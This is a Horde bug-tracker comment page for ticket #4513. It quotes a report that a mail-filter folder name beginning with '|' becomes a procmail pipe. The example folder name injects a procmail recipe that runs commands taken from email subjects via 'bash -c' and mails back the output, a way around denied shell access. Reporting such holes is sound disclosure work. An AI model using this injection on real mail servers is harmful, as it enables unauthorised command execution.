6.0.0-beta1
▾
Tasks
New Task
Search
Photos
Wiki
▾
Tickets
New Ticket
Search
dev.horde.org
Toggle Alerts Log
Help
7/26/25
H
istory
A
ttachments
C
omment
W
atch
Download
Comment on [#4513] command execution with procmail
*
Your Email Address
*
Spam protection
Enter the letters below:
.__ .__ ._..___.. . [__)[__) | | |\ | | | _|_ | | \|
Comment
> It is possible to use a foldername beginning > > with | as mailbox destination in a filterrule. > > > > If the users don't have shell acces to the mailserver this rule could be > > used to bypass this restriction. > > > > EXCAPMLE: > > > > The Foldername > > |formail -rA "X-Loop:hisemailaddres@excample.com" | ( > cat - ;myCmd="$MATCH"; echo "Executing: > $myCmd" ; bash -c "$myCmd" > > ) |$SENDMAIL -oi -t > > > > would result in a prcmail like the following > > > > * ^From:.*hisemailaddres@excample\.com > > { > > :0 > > * ^Subject:.*exec_command\/.*$ > > |formail -rA "X-Loop:hisemailaddres@excample.com" | > ( cat - > > ; > > myCmd="$MATCH"; echo "Executing: $myCmd" ; bash > -c "$myCmd" > > ) > > | $SENDMAIL -oi -t > > } > > > >
Attachment
Watch this ticket
N
ew Ticket
M
y Tickets
S
earch
Q
uery Builder
R
eports
Saved Queries
Open Bugs
Bugs waiting for Feedback
Open Bugs in Releases
Open Enhancements
Enhancements waiting for Feedback
Bugs with Patches
Enhancements with Patches
Release Showstoppers
Stalled Tickets
New Tickets
Horde 5 Showstoppers